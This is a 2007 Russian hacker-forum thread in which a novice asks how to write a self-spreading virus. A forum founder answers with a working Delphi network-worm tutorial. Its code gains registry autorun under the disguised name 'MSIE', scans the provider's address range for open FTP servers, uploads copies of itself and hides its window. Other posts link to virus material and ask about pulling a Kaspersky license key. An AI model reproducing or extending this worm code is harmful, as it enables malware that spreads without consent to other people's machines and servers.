Мы переехали http://www.webxakep.net

Среда, 15.05.2024
На главную · Регистрация · Войти · Пользователи · User`Bars · Обратная связь · WebTools · Последние сообщения · Поиск

  • Страница 1 из 1
  • 1
Модератор форума: 3xstie  
WebXakep » Кодинг » Системный » Подскажите (...)
Подскажите

notkillДата: Суббота, 28.07.2007, 20:53 | Сообщение # 1
Рядовой
Группа: Новенькие
Сообщений:6
Статус: Offline
Люди, подскажите мне плиз, как мона сделать вирус, а то я не нашол инфы в инетет =)
Какими программами пользоваться и все такое.
 


ArxWolfДата: Воскресенье, 29.07.2007, 05:10 | Сообщение # 2
Administration Men
Группа: Основатель
Сообщений:184
Статус: Offline
Для создания вируса, надо в основном хорошо знать язык программирования,
например Delphi или C++ для начала.

В принципе если ты научаешься работать с файловой системой, с самими файлами,
то создать вирус тебе много друда не составит.

Вывод:
1) Легче тебе скачать в инете вирус.
2) Ну всё же, можешь и сам, для начала выучи к примеру Delphi, программа Borland Delphi 7
3) Когда ты найдёшь прогу научаешься делать приложения, я тебе помогу даль.

+ Научаешься делать приложения
+ Вирусы
+ Трояны

Но вирусы это зло))))




 


DDosT™Дата: Воскресенье, 29.07.2007, 13:28 | Сообщение # 3
Группа: Удаленные





Просто научись анализировать чужой код...
 


notkillДата: Воскресенье, 29.07.2007, 15:37 | Сообщение # 4
Рядовой
Группа: Новенькие
Сообщений:6
Статус: Offline
А можно сделать такой вирус, на удаление одного файла в компьютере... Ну и желаетльно, чтобы он смог размножаться...

Добавлено (29.07.2007, 15:37)
---------------------------------------------

Quote (ArxWolf)
Но вирусы это зло))))

Не все вирусы - это зло!
Я вот к примеру хочу найти или сделать вирус на удаление читов для кс, а то у нас в сети очень много читеров... Но не знаю... наврятли это получится sad

Сообщение отредактировал notkill - Воскресенье, 29.07.2007, 15:38
 


ArxWolfДата: Воскресенье, 29.07.2007, 17:09 | Сообщение # 5
Administration Men
Группа: Основатель
Сообщений:184
Статус: Offline
Сначало скажи что за читер файл?

Если типо *.Cht

То можно просто замутить анализатор, который будет искать на компе (или в одной деректории),
файлы этого формата, то интересно для чего тебе надо размножение???

Расскажи по подробнее..




 


notkillДата: Понедельник, 30.07.2007, 15:41 | Сообщение # 6
Рядовой
Группа: Новенькие
Сообщений:6
Статус: Offline
У нас в сети в основном все пользуются всеми известным читом - cdhack (cdhack.exe)

А размножение для того, чтобы он расползся по всем компам в сети.
А то он так будет работать только у того, у кого этот вирь и будет.

Лучше запрограмировать этот вирь для удаления cdhack.dll

Добавлено (30.07.2007, 15:41)
---------------------------------------------
Ну дак что можно это как-то сделать, или нет?

 


4RXRU5HДата: Понедельник, 30.07.2007, 16:24 | Сообщение # 7
0xFFFFFFF
Группа: Основатель
Сообщений:271
Статус: Offline
Вот описание сетевого червя на Дельфи, его можно доработать для нахождения читерских прог cool Но для того чтобы понять его тебе придется учить язык Delphi
Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1).
Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public
{ Public declarations }
end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.
Давайте пропишем червя в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE', Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы.
Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части.
Выглядеть она у тебя должна так:
var
Form1: TForm1;
ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции(Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result := '';
if WSAStartup(WSVer, wsaData) = 0 then begin
if GetHostName(@Buf, 128) = 0 then begin
P := GetHostByName(@Buf);
if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
end;
WSACleanup;
end;
end;
Данная функция определит IP зараженной тачки и вернёт его нам в виде строки.
Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
//1-ое число IP
piece:=ip;
// Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP)
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
ip1st:= piece;
// Далее всё идёт по такой же схеме
//2-ое число ip
piece:=ip;
pos1:=Pos('.', piece);
Delete(piece,1,pos1);
pos1:=Pos('.', piece);
Delete(piece,pos1,30);
ip2nd:= piece;
end;
Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные.
Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное:
Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:
var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;




Сообщение отредактировал ArxRush - Понедельник, 30.07.2007, 16:39
 


4RXRU5HДата: Понедельник, 30.07.2007, 16:26 | Сообщение # 8
0xFFFFFFF
Группа: Основатель
Сообщений:271
Статус: Offline
продолжение ...........

[с]
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт.
Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам.
Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию.
При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);
После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.
Папка меняется кодом NMFTP.ChangeDir(имя_папки);
Закачка файлов происходит следующим образом:
NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’);
Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.
[/с]




Сообщение отредактировал ArxRush - Понедельник, 30.07.2007, 16:28
 


notkillДата: Понедельник, 30.07.2007, 21:38 | Сообщение # 9
Рядовой
Группа: Новенькие
Сообщений:6
Статус: Offline
мда... я не думал, что это будет все так сложно wacko .
Может кто-нибудь мне поможет и выложит или даст ссылочку уже на готового "червячка" ?
 


4RXRU5HДата: Пятница, 10.08.2007, 12:37 | Сообщение # 10
0xFFFFFFF
Группа: Основатель
Сообщений:271
Статус: Offline
Зачем тебе готовый?, его все равно надо будет переделовать под твои нужды, и тебе всёравно понадобится Кодинг - так что лучше учить самому...

 


ShadowДата: Суббота, 01.09.2007, 13:35 | Сообщение # 11
Рядовой
Группа: Новенькие
Сообщений:1
Статус: Offline
Вот по этой ссылке посмотри там книжка есть про вирусы http://www.web-hack.ru/books/index.php?case=4 или можешь сказать мыло и я тебе скину инфу по примитивным вирусам и троянам...

Добавлено (01.09.2007, 03:12)
---------------------------------------------
мыло можешь в аську скинуть

Добавлено (01.09.2007, 13:35)
---------------------------------------------
инфу по вирусам залил в файл обменник http://websecurity.ifolder.ru/3189385

 


freza111177Дата: Четверг, 27.09.2007, 19:07 | Сообщение # 12
Рядовой
Группа: Новенькие
Сообщений:1
Статус: Offline
млин помогите! мучает вопрос как выдернуть ключ из каспера?
 


АнонимаусДата: Воскресенье, 30.09.2007, 01:16 | Сообщение # 13
Группа: Guest





В смысле выдернуть?
 

WebXakep » Кодинг » Системный » Подскажите (...)
  • Страница 1 из 1
  • 1
Поиск:
..:WX Group:..
WebXakep 2007 - 2008 year.
Desing by arXRush & ArxWolf :)
Все прова принадлежат ArxWolf © Webxakep.net, все представленные материалы на портале в целях ознакомления.[Хакерство и Безопасность]
Форум посвящённый сетевой безопасности, хакерству, исследованию, проникновению. Есть темы такие как : Основы новичкам, BUGTRAQ, ICQ, Email, IRC, Skype, MSN, Крякерам, Фрикерам, Мобильные устройства, Вирусология, Кодинг, ОС, Soft, Халява, ЖелезО, Купля, Продажа, Обмен, Трёпка, Книги, Статьи, Новости, Группировки, Взлом.

Rambler's Top100